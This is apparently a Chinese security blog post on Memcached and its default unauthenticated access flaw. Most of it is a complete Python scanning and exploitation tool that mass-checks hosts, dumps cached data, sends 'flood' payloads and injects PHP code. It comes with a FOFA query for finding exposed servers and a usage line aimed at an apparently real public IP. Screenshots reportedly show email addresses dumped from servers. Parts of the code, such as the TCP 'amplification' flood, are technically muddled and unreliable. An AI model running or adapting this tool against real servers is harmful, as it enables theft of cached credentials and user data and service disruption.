Memcached简介

Memcached 是一个开源的、高性能的分布式内存缓存系统,主要用于加速动态Web应用程序(如数据库驱动网站)的响应速度。它通过将数据存储在内存中,减少对后端数据库的直接访问,从而显著提升数据读取速度。

核心特性

  1. 基于内存存储
    • 数据存储在内存中,读写速度极快(微秒级响应)。
    • 适合缓存临时性数据(如会话、热点数据)。
  2. 键值(Key-Value)存储
    • 数据以简单的键值对形式存储(如 key: "user_123", value: "{name: 'Alice', age: 30}")。
    • 键最大250字节,值默认最大1MB(可配置)。

典型应用场景

  • 数据库查询缓存:缓存频繁访问的SQL结果。
  • 会话存储(Session Storage):存储用户登录状态。
  • API响应缓存:加速重复请求的响应。
  • 减轻高并发压力:如电商秒杀活动的临时数据存储。

与Redis对比

特性 Memcached Redis
数据类型 仅键值 支持字符串、列表、哈希等
持久化 不支持 支持RDB/AOF
集群模式 客户端分片 原生集群支持
线程模型 多线程 单线程(避免锁竞争)
适用场景 简单缓存 缓存+复杂应用(如队列)

Memcached未授权漏洞

Memcached 默认配置存在未授权访问漏洞,攻击者可以直接连接到 Memcached 服务器并读取、修改或删除缓存数据,甚至利用其进行DDoS攻击(如DRDoS反射攻击)。该漏洞影响广泛,尤其是未正确配置安全策略的线上服务器。

漏洞原理

  1. 默认无认证机制

    • Memcached 设计初衷是用于内网高速缓存,默认监听 0.0.0.0:11211(所有IP可访问)。
    • 无用户名/密码认证,任意用户可连接并执行命令。
  2. 暴露敏感数据

    • 若缓存了数据库查询结果、Session会话、用户Token等,攻击者可窃取数据。
  3. RCE

    • 在有web系统源码的情况下,如果发现某个变量被缓存进了Memcached,且Memcached未授权访问可篡改缓存数据值,同时,该变量又是被传入了命令执行函数里,那么就可以代码审计,构造触发链,未授权修改缓存值,造成RCE
  4. 被滥用为DDoS反射器

    • Memcached 支持UDP协议,且响应包远大于请求包(放大攻击)。
    • 攻击者伪造受害者IP向Memcached发送请求,导致服务器返回大量数据给目标

漏洞危害

危害可大可小,比如DDOS,如果被境外黑客利用来攻击我国重要基础设施系统,那么危害还是极大的,又比如如果缓存了管理员的token或者其他凭证,敏感信息,被读取到也能被进一步利用,还有结合代码审计,在某个变量从用户输入层面不可控时,如果存入了Memcached,同时Memcached未授权,那么就多了一条控制输入的路径,可以通过利用Memcached未授权漏洞,修改该变量的值,从而控制,如果该变量恰好被带入数据库就有可能造成sql注入,如果恰好带入命令执行函数或命令执行链条,就能RCE(不过利用条件很苛刻),其他情况下,这个漏洞就毕竟鸡肋了,没有什么危害,但是水水漏洞报告还是不错的

漏洞指纹

默认端口是11211,fofa搜索该端口

  • fofa
1
port="11211"

image-20250429005548622

漏洞利用

  • exp脚本

这个脚本还不成熟,后面我会发一个新的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import argparse
from threading import Thread, Lock
from Queue import Queue

class MemcacheExploit:
def __init__(self, timeout=5):
self.timeout = timeout
self.lock = Lock()
self.q = Queue()

def check_vulnerable(self, ip, port=11211):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
s.send("stats\r\n")
result = s.recv(1024)
s.close()

if "STAT version" in result:
with self.lock:
print("[+] Memcache Unauthorized: {}:{}".format(ip, port))
print("[*] Server Info:\n{}".format(result.strip()))
return True
except Exception as e:
pass
return False

def execute_command(self, ip, port, command):
"""通过Memcache执行系统命令(需要服务器配置不当)"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))

# 示例:通过缓存PHP文件实现RCE(需要特定环境)
if command.startswith("php:"):
php_code = command[4:]
s.send("set injected 0 0 {}\r\n{}\r\n".format(len(php_code), php_code))
result = s.recv(1024)
if "STORED" in result:
print("[+] PHP code injected successfully")

# 其他命令执行方式...
s.close()
except Exception as e:
print("[-] Error executing command: {}".format(str(e)))

def dump_data(self, ip, port):
"""尝试转储Memcache中的数据"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))

# 获取所有items
s.send("stats items\r\n")
items = s.recv(4096)

# 获取所有keys
s.send("stats slabs\r\n")
slabs = s.recv(4096)

# 尝试获取缓存内容
s.send("stats cachedump 1 100\r\n")
dump = s.recv(8192)

s.close()

print("[*] Memcache Data Dump from {}:{}".format(ip, port))
print("\n[+] Items:\n{}".format(items))
print("\n[+] Slabs:\n{}".format(slabs))
print("\n[+] Cachedump:\n{}".format(dump))

except Exception as e:
print("[-] Error dumping data: {}".format(str(e)))

def flood_attack(self, ip, port, size=1024):
"""利用Memcache进行放大攻击测试"""
try:
payload = "\x00\x01\x00\x00\x00\x01\x00\x00gets a" + "a" * size + "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
s.send(payload)
s.close()
print("[+] Flood payload sent to {}:{}".format(ip, port))
except Exception as e:
print("[-] Error in flood attack: {}".format(str(e)))

def worker(self):
while True:
ip, port, action = self.q.get()
try:
if action == "check":
self.check_vulnerable(ip, port)
elif action == "dump":
if self.check_vulnerable(ip, port):
self.dump_data(ip, port)
finally:
self.q.task_done()

def scan_range(self, targets, threads=10, action="check"):
for i in range(threads):
t = Thread(target=self.worker)
t.daemon = True
t.start()

for target in targets:
if ":" in target:
ip, port = target.split(":")
else:
ip, port = target, 11211
self.q.put((ip, int(port), action))

self.q.join()

def main():
parser = argparse.ArgumentParser(description="Memcache Unauthorized Access Exploit Tool")
parser.add_argument("-t", "--target", help="Target IP (e.g. 192.168.1.1 or 192.168.1.1:11211)")
parser.add_argument("-f", "--file", help="File containing target IPs (one per line)")
parser.add_argument("-p", "--port", type=int, default=11211, help="Memcache port (default: 11211)")
parser.add_argument("-a", "--action", choices=["check", "dump", "flood", "execute"], default="check",
help="Action to perform (default: check)")
parser.add_argument("-c", "--command", help="Command to execute (use with --action execute)")
parser.add_argument("-T", "--threads", type=int, default=10, help="Number of threads (default: 10)")
parser.add_argument("--timeout", type=int, default=5, help="Connection timeout (default: 5)")

args = parser.parse_args()

exploit = MemcacheExploit(args.timeout)

targets = []
if args.file:
with open(args.file) as f:
targets = [line.strip() for line in f if line.strip()]
elif args.target:
targets = [args.target]
else:
parser.print_help()
return

if args.action == "check":
exploit.scan_range(targets, args.threads, "check")
elif args.action == "dump":
exploit.scan_range(targets, args.threads, "dump")
elif args.action == "flood":
for target in targets:
ip = target.split(":")[0] if ":" in target else target
exploit.flood_attack(ip, args.port)
elif args.action == "execute" and args.command:
for target in targets:
ip = target.split(":")[0] if ":" in target else target
if exploit.check_vulnerable(ip, args.port):
exploit.execute_command(ip, args.port, args.command)

if __name__ == '__main__':
main()

脚本使用

  1. 基本检查:

    1
    python memcache_exp.py -t 127.0.0.1
  2. 批量扫描:

    1
    python memcache_exp.py -f targets.txt -T 20
  3. 数据转储:

    1
    python memcache_exp.py -t 127.0.0.1 -a dump
  4. 命令执行(需要特定环境):

    1
    python memcache_exp.py -t 190.107.178.43 -a execute -c "php:<?php system('id');?>"

memadmin工具

下载源码本地使用phpstudy部署memadmin

image-20250428211224357

image-20250428211310667

dump数据,读取到一些邮箱

image-20250429005146617

漏洞案例

使用编写的脚本检测,并读取数据

1
python exp.py -t 127.0.0.1 -a dump

image-20250428212115185

image-20250428164513428

读取到某个key

image-20250428214530401